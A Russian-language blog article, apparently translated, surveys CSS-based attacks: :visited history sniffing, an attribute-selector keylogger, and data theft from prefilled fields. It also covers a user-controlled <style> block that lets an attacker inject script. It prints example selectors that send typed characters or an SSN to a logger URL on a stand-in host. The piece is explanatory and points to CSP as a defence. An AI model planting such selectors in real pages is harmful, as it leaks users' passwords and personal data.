Уязвимость и безопасность в CSS

Время от времени появляются статьи, которые привлекают внимание к функциям CSS. Но некоторые из данных функций могут ослабить защиту веб-сайта.

Проблема «Посещенная ссылка»

Это выглядит так:

  1. Вы размещаете ссылку на определенной странице веб-сайта. Например, <a href=»https://i-tickle-pigs.com»>Tickle Pigs</a>
  2. При этом для стилизации посещенной ссылки используется a:visited { color: pink; }. Но это оформление не будет стилем, прописанным в браузере по умолчанию.
  3. Вы проверяете стиль данной ссылки.
  4. Если цвет ссылки совпадает, это значит, что пользовательский агент импортирует данные на сервер?
  5. Чтобы подстраховаться, вы используете следующий CSS-код: background-image: url(/data-logger/tickle.php).

Следует ли волноваться? Нет, браузеры сделали все это невозможным.

Кейлоггер

Это выглядит так:

  • На странице есть элемент для ввода пароля.
  • Вы добавляете скрипт для записи вводимых символов в виде значения свойства background элемента ввода. А также ещё один миллиард селекторов, чтобы скрипт собирал некоторые или все введенные пароли.
input[value^="a"] { background: url(logger.php?v=a); }

Но не все так просто. Атрибут value поля ввода input не меняется только потому, что вы что-то вводите в него. Иногда это происходит в таких средах, как React. Так что приведенный выше программный код может сработать на странице входа, созданной на основе React.

Но в этом случае на странице все равно выполняется JavaScript. Кейлоггер на JavaScript — это всего лишь пара строк кода, отслеживающего события нажатия клавиш и сообщающего о них при помощи Ajax.

Сторонний и встроенный в XSS JavaScript-код сейчас можно без проблем остановить при помощи политики безопасности содержимого(CSP). Но это также касается и CSS.

Кража данных

Это выглядит так:

  1. Если злоумышленник смог перенести вредоносный CSS на страницу аутентификации на веб-сайте.
  2. И если этот веб-сайт выводит конфиденциальную информацию(например, номер социального страхования(SSN) в предварительно заполненной форме).
  3. То хакер может использовать селекторы атрибутов, чтобы выкрасть личные данные посетителя.
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

Но для этого необходимо задействовать миллиард.

Опасный встроенный блок стиля

К примеру:

<style>... Сюда вставляются какие-либо сгенерированные посетителем данные</style>

Предположим, что таким образом вы разрешаете посетителю некоторые параметра CSS. Но это опасно: злоумышленник может закрыть <style>, открыть <script> и внедрить вредоносный JavaScript-код.

Есть ещё много всего

Возможно, что я преувеличиваю уязвимость CSS. Но безопасность имеет в себя первостепенное значение. Хотя я никогда не слышал, чтобы CSS был основным направлением атаки.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *